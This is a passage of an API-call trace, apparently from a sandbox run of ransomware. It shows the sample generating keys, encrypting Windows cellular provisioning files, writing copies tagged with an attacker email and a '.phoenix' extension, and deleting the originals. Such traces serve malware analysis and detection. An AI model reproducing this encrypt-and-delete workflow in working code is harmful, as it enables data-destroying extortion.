	[0253.383] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0253.383] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.383] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0253.383] CryptDestroyKey (hKey=0x151140) returned 1
	[0253.383] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0253.383] CryptDestroyKey (hKey=0x151100) returned 1
	[0253.383] CloseHandle (hObject=0x2d8) returned 1
	[0253.383] CloseHandle (hObject=0x2f0) returned 1
	[0253.383] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\508__Connections_Cellular_Verizon (United States) Internet_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\508__connections_cellular_verizon (united states) internet_i0$(__mvid)@wap.provxml")) returned 1
	[0253.384] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.384] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.385] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=455) returned 1
	[0253.385] CloseHandle (hObject=0x2f0) returned 1
	[0253.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml")) returned 0x20
	[0253.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.385] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.385] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.385] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.385] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.386] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151240) returned 1
	[0253.386] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.386] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c7, lpOverlapped=0x0) returned 1
	[0253.387] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0253.387] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0253.388] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0253.388] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.388] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0253.388] CryptDestroyKey (hKey=0x151640) returned 1
	[0253.388] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0253.388] CryptDestroyKey (hKey=0x151240) returned 1
	[0253.388] CloseHandle (hObject=0x2f0) returned 1
	[0253.388] CloseHandle (hObject=0x2d8) returned 1
	[0253.388] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml")) returned 1
	[0253.389] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.389] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.390] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=451) returned 1
	[0253.390] CloseHandle (hObject=0x2d8) returned 1
	[0253.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml")) returned 0x20
	[0253.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.390] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.390] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.390] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.390] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.393] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0253.393] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.393] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c3, lpOverlapped=0x0) returned 1
	[0253.396] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0253.396] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0253.400] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0253.400] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.400] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0253.400] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.400] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0253.400] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.400] CloseHandle (hObject=0x2d8) returned 1
	[0253.400] CloseHandle (hObject=0x2f0) returned 1
	[0253.400] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml")) returned 1
	[0253.401] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.401] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.402] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=643) returned 1
	[0253.402] CloseHandle (hObject=0x2f0) returned 1
	[0253.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.402] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.402] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.402] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.402] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.403] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0253.403] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.403] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x283, lpOverlapped=0x0) returned 1
	[0253.433] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0253.433] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0253.433] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0253.433] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.433] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0253.433] CryptDestroyKey (hKey=0x151640) returned 1
	[0253.433] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0253.434] CryptDestroyKey (hKey=0x151400) returned 1
	[0253.434] CloseHandle (hObject=0x2f0) returned 1
	[0253.434] CloseHandle (hObject=0x2d8) returned 1
	[0253.434] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.435] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.435] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.436] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=471) returned 1
	[0253.436] CloseHandle (hObject=0x2d8) returned 1
	[0253.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0253.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.436] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0253.436] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.436] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0253.436] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.437] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0253.437] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.437] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1d7, lpOverlapped=0x0) returned 1
	[0253.440] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0253.440] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0253.441] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0253.441] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0253.441] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0253.441] CryptDestroyKey (hKey=0x151240) returned 1
	[0253.441] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0253.441] CryptDestroyKey (hKey=0x151640) returned 1
	[0253.441] CloseHandle (hObject=0x2d8) returned 1
	[0253.441] CloseHandle (hObject=0x2f0) returned 1
	[0253.441] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0253.442] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0253.442] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\516__Connections_Cellular_Uzdunrobita (Uzbekistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\516__connections_cellular_uzdunrobita (uzbekistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0253.452] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=715) returned 1
	[0253.452] CloseHandle (hObject=0x2f0) returned 1
